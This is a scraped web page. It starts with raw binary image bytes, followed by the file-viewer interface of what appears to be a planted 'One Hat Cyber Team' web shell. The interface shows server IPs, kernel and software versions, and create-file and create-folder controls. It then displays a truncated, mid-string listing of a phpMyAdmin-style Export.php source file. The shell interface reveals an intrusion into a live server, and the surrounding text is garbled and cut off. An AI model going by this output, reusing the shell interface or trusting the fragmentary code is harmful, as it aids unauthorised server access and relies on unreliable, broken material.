JFIF  H H (ICC_PROFILE   0 mntrRGB XYZ acsp   - desc trXYZ d gXYZ x bXYZ  rTRC  (gTRC  (bTRC  (wtpt  cprt  بV7eudakt!Q ,*RGPQNČzŬb 5666p z"c83''Mq6Gitql@90.ۚAcN|li:9蠃p/^ZnLx84v;[#$ nh'c32o8Ɛ5KAv*_?nX?pyֆ̈́#z23F0Oe> {Gu.V (C'h/o%>x1X r:(>}{ycX8b]U:dOMsVAp'Z3'3E-ybj:>jOvUw#2cl~@gFCjțbz ^:-tdfj{XTh8aUM^+dAl"(KK m1$$ XKKqržoqg V FF#pG~:]֦!!Ң:pC+ AzӬ].t`='h_/} @L\,x㌼z԰+J-v+Y['8' % X q=[4Sj~4ݢ#dʂēRL5kX؊>l:t\baBA\Q38( ө:&$ 'L#d{qH>*5;jDo ˷YmԈ*[9*5tUf%3= GUW\'AR_W4_P պ -|4RFJZv0d[ˠzJ|PU8;鯌 'VcL,κ>*eb)f,0"j1 1v՘;bJ++COz7%>NU,=z\cEVK>Ic7} .jHn;^觱GHI HVǂO:ߊ{mSV?K|@ AiAT`2j 1~K8’$ ~]=9ឦG *9EMּm5Xf9Qĸ}i D%+t+;F: v:-&h_rD|! Ә;Zl븂':C&ҀaeKkm6 uT".}J&\ hciB2B+T7t?EPþЌmAF\lc2ЊABmE,cն\QJ]d5 `O Y@8?lx#KiI&Ri1fR2f1N%_g*TӨ??N:}+לɀh٭qL,ʈBrcuBmz ̢TV^ 뙏8' ufUX3㓏>NG:/;Hp饕B1K /%iɫ VQ%:_ -1oL?Roa\i^F|W*Na)P X#y㯨z+Cح\вjirm*dWҡQbBȨi'%NEb?'[h=`OiU϶u nR}GW4fVJmiR~J|l%m'%"LW V27NsXb?_={s}ij4Ý=SNjxFV"ԎI(E)]ӝЖm[4 m`5-7Wf󪥎bZKa#Vb%KY5T$y`46̼p C7HM'l{Oi +Pw~j,S5T4(FԨ;A`*HJTPgt(6/cg5U1@Qb8Y!rBzOQKF+6v%=~XDPpWc_-:߈#c坣CW1:^Q 06Ӭq@ Dj$ UW$?9F\cSM5=2>hב\,()JBk; J#j徻W(p=oQD #UMhU*Fc ?N=nF5Ӑ12w05Z뀩4ڣ霅uC1y%nJ8Ԑ*crR 9W=H9,A׻,.ZFb QEGVNs, q';OMmbtNVqOw*֙kPѬ؈XJIӯEWok+R{%j; Yx 7&&,LԜYbw"lI(*`۹F AS- #$413)Qpڤ3RxOJ$cP]viuq {kyN.- B,@󪳪ڸAor%X0UNb9 򍕑7)*233|Rnb@q|EUý$!7&["XOy ~ƓtADhP]mG파9p=ԜZ]ӭሎOeyq !bI GU:5~FoL ST[е$]$g*w]!;m@ޠ&IUڬ{҄բ-.SmҒ` vU"oL;'5s"W)@äL1i}^Y5$+Pv0o HU @ȓsQM)?M\4Q $2;g WJ/NwFJGD: y όMfW!QUZ%azҳDK_XhM^rԝ^!d'<#ﴛO{/F?+$ Y' wg'$ljGAH7l4xѶc}I*esg~;ͤt@B2iB'9C a8fTR: %NO@ m3sv w .@濾 ,FYrT0mUW_v>>d[A6ڊx:YTLHvӺ!nSD}>[mET0_,'C]pjVᅷPDZ[-V0`>}ܟpmֻ2O6O*ݹXHSN(J /+1՟#(P*gEO#w&j6?;ڡ)+U]l\/{莄*I/9<'$'#'yt/&-\\WPL`/p9qa'e¨E] fAAEYnGtm,ϮwXT>AaN#FjŵjQFdq^<H?yJ܃2*3 T4ЧH**W;(ꭽ¾Pf=eyA4FJ6{e]JqOCf#3SJf iMM\ iT$rG8$9>2:M)Q#NKe&"E8.z<mHk?#t˒A]; G0H:f!i! j{1m}o7u;$99Ӱ\ncz:zALq޶wyKT<4X,'!Y;Ͱ6q GM~_~܂}t>(zl}:r L9 fe}.-R*<`c6oܛ=prҽGB)nQ%)s*&i΍%—Zb{m[NNkbwBw Q*dF HP iܛ; aV68j}\eIGI'͔B;yA :^bn-m#@S6ˎr ;~cmƻgU:X6G%[gc{]c4)fpsgY˅>*"1}2<175)]V5)kdkM~`΂:{4nGPTTb   뎱϶w FFᓂG8>zF_H9_rDl:ҶH5Z!Bj.yk}erb:SOT]!ǎ?n:HεZsyztn[7NZ#UQO$.J#]Cr#YX9c<'$z 9 .$$PnDSn 2u5X g\ ?|Aᬰⶵ >>bE)Cb-ruMc׺*,\)`^m ge\k.۫8گoK1gWMpU޻zI=EErz:#6--/Wm\z8מ0x tA_c?Ծc^MژIMyO>l0ċ}t7[\ʲ9̜m_a[姯rְjP\kx1'CdmvF70e+m-]a?ݝKuSMUm 8f Yb!)2Z.UD \~:ܽ8zR̪Kcbs&ߦ1$, w\gc3F$iU#<`:I4{w.2aQ$EXNo?Gm NN rE$#Jn҉!AH'zePzRog8u(tJP߁Z.pÐ͢Aռ65Xsyvm 6RW7W;|0 >OүG@ٳ<>omԼ()kZJlK,F 4)snOQ{u㌏= Ao,ծ?eKBzG 6e6 f|CU _4C[j͕M8,%emM8\ cv COwTGi _94BDf%'ns8MPc&-y"8R_j 3a+z+N 9QlDQ40E VۋrH2I_YO',:뿉WNHvﵐ0B}na*E zUbN#0e"f.Q H5"-HVn=+ # Eiy- v8=g`o[ 鼛2.D^QeB ؅qϿRC~ B+Jۍ8 4*ӖΝ1R BI\ 1[0 I9y)Y " 7]6qg\ vP  s= Ѭ֕)פE< c`ϷU9W,: ?y1hsU(T ge/룮JA]|4aZVAIeIhBI!l$3![qHnw\7R{oM/ִ>5& gwjFE dc@K:V&W/k+=Yk[ @fU5zzmFȖH,[ n-dc wd[z"g4ϘRr0`B8_; #$^Zo5KZYKj GY%s"!a[9I2TF-w#a]˒Itٮei_FpVЧ૱W3eCi7 "}HApG>h֝5i T٧- '`dX1AF$$ޙ_Z]ڷTC Uy JGO} >A"5a> ZUR -Z\9 jrWݖQRݳ*ļ]$ڵXq=/w z\II#{ӭl^;F_R쵎[ָ[gKKͰoQ )W녕іs*kuzŨQde`WU_KLE~"g r<2GyއL(-VY -Z(IU0 |\;8C mhl:̄DkYHOk|:*DY tsس |zrO;񍃌sT31=jwyШ^nZHm_G̮0W󿓹S;_$mٛIDV=f-H}U]HA*vԶ3\Wh*I#$@6x^OZC&JU 16 XD*if&BDGFYYP[KLX uX .Z hq Ghb8M#Mqt\c> aT 00=㎨ʕGQԪR,ĜI9zӦJO3Rn`C5܊@QO1N.ؔ"I\YÖĐHdL\}IP~jm$ y; :ZGZVJv =&*UF#``R`*S+p\=) ҭ9k̮Ršx0'**ԑLkɺk+zJb#:|MZ ?j$ݼ &X)$6FY6ѕ/; J*nlC*ų_ ԕ{_6:\47ڷs4RmĊ=z *ʪXT[]5Bl#a-˙bv8@H|Rwe9A%5&M%Z02TN)&&GfM 儀oŒM;=.//k~ E"a9/3y,>lj>ZXy&εYP&h gec<``]!}i'c KQulFIʓ_\T58(+cJq~ [dgmm/`Xڙhtkq ו$"c[PVY[uɜ&#몵"ȾqC"ÜȔ!<Mj8u-dx*gϫtTLdKlaWڭ\~|7u`h(w֋cL=˼=FvcGs}зUBSМ;FI;Q$8+V|[CS쮙1%YP Q% LVVK+&,cIb]Vyi ~h?yF4"5As-F ݆x55P&E:W@f;}Gy^]U ITki 1 d﫠*cNh' cؗYnsL:b?H :kM~@8#Iqɔ~:f]P*i]H'fjhxTҗ1O:^t$1]UXz&tODT>(^s&3#N_/x-䬦? ~vU-W$4'ӎvRG|jySW?u4(1 G[ِ22jʎhrmoյشgRͮ%ϟѬ9 oR  n-&F-@hgY_qN;"2 !KJ  šA^, "aG8`=14=5Mqk>U@UT :RgjrKF.O$I9'=i}._ One Hat Cyber Team
  • Your IP: 108.162.216.75
  • Server IP: 104.21.60.175
  • Server: Linux ip-172-26-1-145 6.1.0-37-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
  • Server Software: Apache
  • PHP Version: 8.3.22
  • Buat File | Buat Folder
View File Name : Export.php
' . ' ' . '
' // bottom back button . $backButton . $refreshButton . '
' . '' . "\n"; } /** * Computes the memory limit for export * * @return int the memory limit */ public function getMemoryLimit(): int { $memoryLimit = trim((string) ini_get('memory_limit')); $memoryLimitNumber = (int) substr($memoryLimit, 0, -1); $lowerLastChar = strtolower(substr($memoryLimit, -1)); // 2 MB as default if (empty($memoryLimit) || $memoryLimit == '-1') { $memoryLimit = 2 * 1024 * 1024; } elseif ($lowerLastChar === 'm') { $memoryLimit = $memoryLimitNumber * 1024 * 1024; } elseif ($lowerLastChar === 'k') { $memoryLimit = $memoryLimitNumber * 1024; } elseif ($lowerLastChar === 'g') { $memoryLimit = $memoryLimitNumber * 1024 * 1024 * 1024; } else { $memoryLimit = (int) $memoryLimit; } // Some of memory is needed for other things and as threshold. // During export I had allocated (see memory_get_usage function) // approx 1.2MB so this comes from that. if ($memoryLimit > 1500000) { $memoryLimit -= 1500000; } // Some memory is needed for compression, assume 1/3 $memoryLimit /= 8; return $memoryLimit; } /** * Returns the filename and MIME type for a compression and an export plugin * * @param ExportPlugin $exportPlugin the export plugin * @param string $compression compression asked * @param string $filename the filename * * @return string[] the filename and mime type */ public function getFinalFilenameAndMimetypeForFilename( ExportPlugin $exportPlugin, string $compression, string $filename ): array { // Grab basic dump extension and mime type // Check if the user already added extension; // get the substring where the extension would be if it was included $requiredExtension = '.' . $exportPlugin->getProperties()->getExtension(); $extensionLength = mb_strlen($requiredExtension); $userExtension = mb_substr($filename, -$extensionLength); if (mb_strtolower($userExtension) != $requiredExtension) { $filename .= $requiredExtension; } $mediaType = $exportPlugin->getProperties()->getMimeType(); // If dump is going to be compressed, set correct mime_type and add // compression to extension if ($compression === 'gzip') { $filename .= '.gz'; $mediaType = 'application/x-gzip'; } elseif ($compression === 'zip') { $filename .= '.zip'; $mediaType = 'application/zip'; } return [ $filename, $mediaType, ]; } /** * Return the filename and MIME type for export file * * @param string $exportType type of export * @param string $rememberTemplate whether to remember template * @param ExportPlugin $exportPlugin the export plugin * @param string $compression compression asked * @param string $filenameTemplate the filename template * * @return string[] the filename template and mime type */ public function getFilenameAndMimetype( string $exportType, string $rememberTemplate, ExportPlugin $exportPlugin, string $compression, string $filenameTemplate ): array { if ($exportType === 'server') { if (! empty($rememberTemplate)) { $GLOBALS['config']->setUserValue( 'pma_server_filename_template', 'Export/file_template_server', $filenameTemplate ); } } elseif ($exportType === 'database') { if (! empty($rememberTemplate)) { $GLOBALS['config']->setUserValue( 'pma_db_filename_template', 'Export/file_template_database', $filenameTemplate ); } } elseif ($exportType === 'raw') { if (! empty($rememberTemplate)) { $GLOBALS['config']->setUserValue( 'pma_raw_filename_template', 'Export/file_template_raw', $filenameTemplate ); } } else { if (! empty($rememberTemplate)) { $GLOBALS['config']->setUserValue( 'pma_table_filename_template', 'Export/file_template_table', $filenameTemplate ); } } $filename = Util::expandUserString($filenameTemplate); // remove dots in filename (coming from either the template or already // part of the filename) to avoid a remote code execution vulnerability $filename = Sanitize::sanitizeFilename($filename, true); return $this->getFinalFilenameAndMimetypeForFilename($exportPlugin, $compression, $filename); } /** * Open the export file * * @param string $filename the export filename * @param bool $quickExport whether it's a quick export or not * * @return array the full save filename, possible message and the file handle */ public function openFile(string $filename, bool $quickExport): array { $fileHandle = null; $message = ''; $doNotSaveItOver = true; if (isset($_POST['quick_export_onserver_overwrite'])) { $doNotSaveItOver = $_POST['quick_export_onserver_overwrite'] !== 'saveitover'; } $saveFilename = Util::userDir((string) ($GLOBALS['cfg']['SaveDir'] ?? '')) . preg_replace('@[/\\\\]@', '_', $filename); if ( @file_exists($saveFilename) && ((! $quickExport && empty($_POST['onserver_overwrite'])) || ($quickExport && $doNotSaveItOver)) ) { $message = Message::error( __( 'File %s already exists on server, change filename or check overwrite option.' ) ); $message->addParam($saveFilename); } elseif (@is_file($saveFilename) && ! @is_writable($saveFilename)) { $message = Message::error( __( 'The web server does not have permission to save the file %s.' ) ); $message->addParam($saveFilename); } else { $fileHandle = @fopen($saveFilename, 'w'); if ($fileHandle === false) { $message = Message::error( __( 'The web server does not have permission to save the file %s.' ) ); $message->addParam($saveFilename); } } return [ $saveFilename, $message, $fileHandle, ]; } /** * Close the export file * * @param resource $fileHandle the export file handle * @param string $dumpBuffer the current dump buffer * @param string $saveFilename the export filename * * @return Message a message object (or empty string) */ public function closeFile( $fileHandle, string $dumpBuffer, string $saveFilename ): Message { $writeResult = @fwrite($fileHandle, $dumpBuffer); fclose($fileHandle); // Here, use strlen rather than mb_strlen to get the length // in bytes to compare against the number of bytes written. if (strlen($dumpBuffer) > 0 && (! $writeResult || $writeResult != strlen($dumpBuffer))) { $message = new Message( __('Insufficient space to save the file %s.'), Message::ERROR, [$saveFilename] ); } else { $message = new Message( __('Dump has been saved to file %s.'), Message::SUCCESS, [$saveFilename] ); } return $message; } /** * Compress the export buffer * * @param array|string $dumpBuffer the current dump buffer * @param string $compression the compression mode * @param string $filename the filename * * @return array|string|bool */ public function compress($dumpBuffer, string $compression, string $filename) { if ($compression === 'zip' && function_exists('gzcompress')) { $zipExtension = new ZipExtension(); $filename = substr($filename, 0, -4); // remove extension (.zip) $dumpBuffer = $zipExtension->createFile($dumpBuffer, $filename); } elseif ($compression === 'gzip' && $this->gzencodeNeeded() && is_string($dumpBuffer)) { // without the optional parameter level because it bugs $dumpBuffer = gzencode($dumpBuffer); } return $dumpBuffer; } /** * Saves the dump buffer for a particular table in an array * Used in separate files export * * @param string $objectName the name of current object to be stored * @param bool $append optional boolean to append to an existing index or not */ public function saveObjectInBuffer(string $objectName, bool $append = false): void { if (! empty($this->dumpBuffer)) { if ($append && isset($this->dumpBufferObjects[$objectName])) { $this->dumpBufferObjects[$objectName] .= $this->dumpBuffer; } else { $this->dumpBufferObjects[$objectName] = $this->dumpBuffer; } } // Re - initialize $this->dumpBuffer = ''; $this->dumpBufferLength = 0; } /** * Returns HTML containing the header for a displayed export * * @param string $exportType the export type * @param string $db the database name * @param string $table the table name * * @return string[] the generated HTML and back button */ public function getHtmlForDisplayedExportHeader( string $exportType, string $db, string $table ): array { $html = '
'; /** * Displays a back button with all the $_POST data in the URL * (store in a variable to also display after the textarea) */ $backButton = '

[ ' . __('Back') . ' ]

'; $html .= '
'; $html .= $backButton; $refreshButton = '
'; $refreshButton .= '[ ' . __('Refresh') . ' ]'; foreach ($postParams as $name => $value) { if (is_array($value)) { foreach ($value as $val) { $refreshButton .= ''; } } else { $refreshButton .= ''; } } $refreshButton .= '
'; $html .= $refreshButton . '
' . '
' . '